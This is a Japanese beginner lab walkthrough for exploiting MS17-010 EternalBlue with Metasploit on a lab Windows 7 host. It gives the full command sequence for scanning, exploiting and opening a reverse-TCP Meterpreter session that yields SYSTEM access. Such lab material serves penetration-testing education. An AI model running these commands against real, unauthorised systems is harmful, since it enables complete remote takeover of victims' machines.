Metasploit で Windows 7 ターゲットの MS17-010 EternalBlue をエクスプロイトする

Kali LinuxBeginner
オンラインで実践に進む

はじめに

MS17-010 は、EternalBlue として広く知られており、Microsoft の Server Message Block (SMB) プロトコルの実装における重大な脆弱性です。この脆弱性により、リモートの攻撃者は影響を受けるシステム上で任意のコードを実行できます。Metasploit Framework は、エクスプロイトコードの開発、テスト、実行のための強力なオープンソースツールです。

この実験では、ペネトレーションテスターの役割を担います。Metasploit Framework を使用して、まずスキャナーモジュールを使用してネットワーク上の脆弱な Windows 7 マシンを特定します。次に、ターゲットに対して EternalBlue エクスプロイトを設定して実行し、Meterpreter セッションを通じて完全なリモート制御を獲得します。この実践的な経験は、パッチが適用されていない脆弱性の実際のインパクトを実証します。

この実験の目的のため、脆弱な Windows 7 マシンがネットワーク上の IP アドレス 192.168.1.101 に存在します。

auxiliary/scanner/smb/smb_ms17_010 スキャナーを使用してターゲットを見つける

このステップでは、Metasploit コンソールを起動し、専門のスキャナーモジュールを使用して、ターゲットが MS17-010 に対して脆弱であることを確認します。これは、あらゆるペネトレーションテストにおける重要な偵察フェーズです。

まず、ターミナルを開き、msfconsole コマンドを実行して Metasploit Framework コンソールを起動します。ロードにはしばらく時間がかかる場合があります。

msfconsole

コンソールがロードされると、Metasploit のコマンドプロンプト (msf6 >) が表示されます。次に、use コマンドを使用して MS17-010 スキャナーモジュールを選択します。

use auxiliary/scanner/smb/smb_ms17_010

次に、スキャナーにどのホストをチェックするかを指示する必要があります。show options コマンドで、このモジュールの利用可能なオプションを表示します。

show options

オプションのリストが表示されます。RHOSTS オプションは必須であり、スキャンするリモートホストを指定します。これをターゲットの Windows 7 マシンの IP アドレスに設定します。

set RHOSTS 192.168.1.101

ターゲットが設定されたら、run と入力してスキャナーを実行します。

run

Metasploit はターゲットをスキャンします。ホストが脆弱な場合、出力に確認メッセージが表示されます。

[+] 192.168.1.101:445   - Host is likely VULNERABLE to MS17-010! (OS: Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.1.101:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

この出力は、192.168.1.101 のターゲットが脆弱であり、エクスプロイトの候補として適していることを確認します。

exploit/windows/smb/ms17_010_eternalblue エクスプロイトを選択する

このステップでは、ターゲットが脆弱であることを確認したので、Metasploit で対応するエクスプロイトモジュールを選択します。ms17_010_eternalblue モジュールは、この特定の脆弱性を悪用するように設計されています。

Metasploit コンソール内で、再度 use コマンドを使用しますが、今回はエクスプロイトモジュールをロードします。

use exploit/windows/smb/ms17_010_eternalblue

コマンドを実行すると、新しく選択されたエクスプロイトモジュールのコンテキストを反映するようにコマンドプロンプトが変更されていることに気づくでしょう。これは、EternalBlue エクスプロイトの設定スペース内で作業していることを示しています。

msf6 exploit(windows/smb/ms17_010_eternalblue) >

このモジュールには、SMB の脆弱性を活用し、さらなるコマンドを実行できるようにするためにターゲットマシンに送信されるコードが含まれています。

RHOSTS オプションを脆弱な Windows 7 ターゲットに設定する

このステップでは、エクスプロイトモジュールを脆弱なマシンの特定の IP アドレスをターゲットにするように構成します。スキャナーは IP の範囲をチェックできますが、エクスプロイトは単一の確認済みターゲットに向けられる必要があります。

スキャナーモジュールと同様に、show options コマンドを使用してエクスプロイトの設定オプションを表示できます。

show options

このモジュールにも「Remote Hosts」を意味する RHOSTS オプションがあることがわかります。現在は空白です。これを、最初のステップで確認した Windows 7 ターゲットの IP アドレスに設定する必要があります。

set コマンドを使用して、IP アドレス 192.168.1.101RHOSTS に割り当てます。

set RHOSTS 192.168.1.101

Metasploit は変更を確認します。

RHOSTS => 192.168.1.101

これで、エクスプロイトは攻撃をどこに向けるべきかを正確に把握しました。

windows/x64/meterpreter/reverse_tcp ペイロードを設定する

このステップでは、ペイロードを選択します。ペイロードとは、エクスプロイトがターゲットシステムを正常に侵害した後に実行されるコードのことです。この実験では、高度で動的に拡張可能なペイロードである Meterpreter を使用します。

windows/x64/meterpreter/reverse_tcp ペイロードは優れた選択肢です。これは、ターゲットマシンからあなたへの接続(「リバース」シェル)を作成し、ファイアウォールをバイパスするのに成功することがよくあります。また、64 ビット Windows システム向けに設計されています。

set payload コマンドを使用して選択します。

set payload windows/x64/meterpreter/reverse_tcp

Metasploit はペイロードが設定されたことを確認します。

payload => windows/x64/meterpreter/reverse_tcp

Metasploit はデフォルトのペイロードをしばしば選択しますが、明示的に設定することで、目標に最も適したペイロードを使用していることを保証できます。再度 show options を実行すると、エクスプロイトとペイロードの両方のオプションが表示されます。LHOST(リスニングホスト)や LPORT(リスニングポート)のような新しいオプションに気づくでしょう。これらは通常、Metasploit によって自動的にあなたのマシンの IP アドレスに構成されます。

エクスプロイトを実行し、Meterpreter セッションを確立する

このステップでは、すべてのオプションが構成された状態で、エクスプロイトを起動し、ターゲットマシンを制御します。

すべての準備が完了しました。エクスプロイトが選択され、ターゲットが設定され、ペイロードが選択されました。攻撃を開始するには、exploit コマンドを使用するだけです。

exploit

Metasploit はターゲットの脆弱性を悪用しようとします。作業中にいくつかのステータスメッセージが表示されます。成功すると、エクスプロイトは Meterpreter ペイロードを配信し、「WIN!」というメッセージと新しいセッションが開かれたことを示すメッセージが表示されます。

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
...
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49157) at 2023-10-27 10:30:00 -0400

meterpreter >

meterpreter > プロンプトは成功を意味します!これで、被害者マシンへのリモートシェルが取得できました。制御を証明するために、getuid コマンドを実行して、どのユーザーアカウントで実行されているかを確認してください。

getuid

出力は次のようになります。

Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM は、Windows システムにおける最高の権限レベルです。ターゲットを正常に侵害しました。sysinfo を実行してシステム情報を取得することもできます。

sysinfo
Computer        : WIN7-VICTIM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

おめでとうございます。MS17-010 のエクスプロイトに成功しました。

まとめ

この実験では、Metasploit Framework を使用して、最もよく知られた脆弱性の 1 つについて実践的なハンズオン経験を積みました。

以下のことを成功させました。

  • 補助スキャナーモジュールを使用して、MS17-010 に対して脆弱なホストを特定しました。
  • ms17_010_eternalblue エクスプロイトモジュールを選択および構成しました。
  • 強力な meterpreter ペイロードを設定して、リモート接続を確立しました。
  • エクスプロイトを実行し、ターゲットの Windows 7 マシン上で SYSTEM レベルの Meterpreter セッションを取得しました。

この演習は、オペレーティングシステムのタイムリーなセキュリティパッチ適用の極めて重要な重要性を浮き彫りにします。単一の未パッチの脆弱性でも、攻撃者がシステムを完全に制御できるようになるには十分です。